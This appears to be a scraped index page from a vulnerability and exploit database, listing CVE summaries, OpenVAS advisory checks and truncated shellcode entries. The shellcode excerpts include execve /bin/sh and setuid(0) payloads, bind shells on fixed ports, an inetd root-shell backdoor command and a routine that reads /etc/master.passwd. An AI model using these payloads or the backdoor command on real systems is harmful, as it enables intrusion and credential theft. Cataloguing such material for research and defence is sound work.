CVE-2008-6555: Improper Input Validation

cgi-bin/webutil.pl in The Puppet Master WebUtil allows remote attackers to execute arbitrary commands via shell metacharacters in the dig command...

CVE-2008-6557: Improper Input Validation

cgi-bin/webutil.pl in The Puppet Master WebUtil 2.7 allows remote attackers to execute arbitrary commands via shell metacharacters in the details command...

Ubuntu Update for tetex-bin vulnerability USN-410-2

Ubuntu Update for Linux kernel vulnerabilities USN-410-2 OpenVAS Vulnerability Test $Id: gbubuntuUSN4102.nasl 7969 2017-12-01 09:23:16Z santu $ Ubuntu Update for tetex-bin vulnerability USN-410-2 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH,...

Ubuntu Update for tetex-bin, texlive-bin vulnerabilities USN-554-1

Ubuntu Update for Linux kernel vulnerabilities USN-554-1 OpenVAS Vulnerability Test $Id: gbubuntuUSN5541.nasl 7969 2017-12-01 09:23:16Z santu $ Ubuntu Update for tetex-bin, texlive-bin vulnerabilities USN-554-1 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH,...

Ubuntu: Security Advisory (USN-554-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Ubuntu: Security Advisory (USN-410-2)

The remote host is missing an update for the SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Hp-ux - execve(/bin/sh) - 58 bytes

No description provided by source. / Hp-Ux execve of /bin/sh by K2 / uchar shellcode = "\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40" "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"...

Solaris/x86 - add services and execve inetd - 201 bytes

No description provided by source. / Solaris/x86 Just execve's the following: "echo "ingreslock stream tcp nowait root /bin/sh sh -i"/tmp/x;" "/usr/sbin/inetd -s /tmp/x; /bin/rm -f /tmp/x"; for a trivial remote bd. Used in a few old Solaris/x86 remote exploits. / char c0de =...

FreeBSD/x86 - execve(/bin/cat & /etc/master.passwd) - 65 bytes

No description provided by source. ; sm4x 2008 ; /bin/cat /etc/master.passwd ; 65 bytes ; FreeBSD 7.0-RELEASE global start start: xor eax, eax ; --- setuid0 push eax push eax mov al, 0x17 int 0x80 ; --- setup /etc/master.passwd jmp short loadfile ok: pop esi ; setup /bin/cat push eax push...

BSD/ppc - execve(/bin/sh) - 128 bytes

No description provided by source. / Linux PPC shellcode execve of /bin/sh by Palante / long shellcode = / Palante's BSD PPC shellcode w/ NULL/ 0x7CC63278, 0x2F867FFF, 0x41BC005C, 0x7C6802A6, 0xB0C3FFF9, 0xB0C3FFF1, 0x38867FF0, 0x38A67FF4, 0x38E67FF3, 0x7CA52278, 0x7CE72278, 0x7C853A14, 0x7CC419A...

NetBSD/x86 - execve(/bin/sh) - 68 bytes

No description provided by source. / NetBSD execve of /bin/sh by humble of Rhino9 / char shellcode = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2" "\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0" "\xb0\x3b" "\x8d\x4e\x0b" "\x89\xca" "\x52" "\x51" "\x53" "\x50"...

BSD/x86 - execve(/bin/sh) & setuid(0) - 29 bytes

No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 29 bytes. -setuid0; -execve/bin/sh; / char shellcode= "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\xb0\x17" // mov $0x17,%al "\x50" // push %eax "\xcd\x80" // int $0x80 "\x50" // push %eax...

CVE-2009-0680: Improper Limitation of a Pathname to a Restricted Directory

cgi-bin/welcome/VPNonly in the web interface in Netgear SSL312 allows remote attackers to cause a denial of service device crash via a crafted query string, as demonstrated using directory traversal sequences...

Linux/x86 - execve("/bin//sh/",["/bin//sh"],NULL)

No description provided by source. / revenge-execve.c, v1.0 2006/10/14 16:32 Yet another linux execve shellcode.. linux/x86 execve"/bin//sh/","/bin//sh",NULL shellcode http://www.0xcafebabe.it [email protected] But this time it's 22 bytes We could start the shellcode with a mov instead of pus...

Linux/x86 - execve(/bin/sh) - 24 bytes

No description provided by source. / [email protected] execve/bin/sh. 24 bytes. es lo mas chica que se puede hacer. / char shellcode= "\x31\xc0" // xorl %eax,%eax "\x50" // pushl %eax "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f "\x89\xe3" // mov...

Linux/x86 - bind '/bin/sh' to 31337/tcp - 80 bytes

No description provided by source. / linux/x86 bind '/bin/sh' to 31337/tcp - 80 bytes - izik [email protected] / char shellcode = "\x6a\x66" // push $0x66 "\x58" // pop %eax "\x99" // cltd "\x6a\x01" // push $0x1 "\x5b" // pop %ebx "\x52" // push %edx "\x53" // push %ebx "\x6a\x02" // push $0x2 // /...

Linux/mips - port bind 4919 - 276 bytes

No description provided by source. / - MIPS little-endian - linux port listener 276 bytes shellcode - execve"/bin/sh","/bin/sh",; - port 0x1337 4919 - tested on Linksys WRT54G/GL DD-WRT Linux - based on scut paper Writing MIPS/Irix shellcode vaicebine at gmail dot com / include "stdio.h" char...

Linux/mips - execve(/bin/sh) - 56 bytes

No description provided by source. / 56 bytes execve /bin/sh shellcode - linux-mipsel - by core [email protected] Note: For MIPS running in little-endian mode. Tested on a Cobalt Qube2 server running Linux 2.4.18 Greetz to bighawk... i couldn't get his execve to work for some reason :/ / char code ...

Linux/sparc - [setreuid(0,0); execve() of /bin/sh] - 64 bytes

No description provided by source. / Linux/SPARC setreuid0,0; execve of /bin/sh shellcode. / char c0de = / anathema [email protected] / / setreuid0,0; / "\x82\x10\x20\x7e" / mov 126, %g1 / "\x92\x22\x40\x09" / sub %o1, %o1, %o1 / "\x90\x0a\x40\x09" / and %o1, %o1, %o0 / "\x91\xd0\x20\x10" / ta...

i-dreams GB 5.4 Final (admin.dat) File Disclosure Vulnerability

Exploit for cgi platform in category web applications =============================================================== i-dreams GB 5.4 Final admin.dat File Disclosure Vulnerability ===============================================================...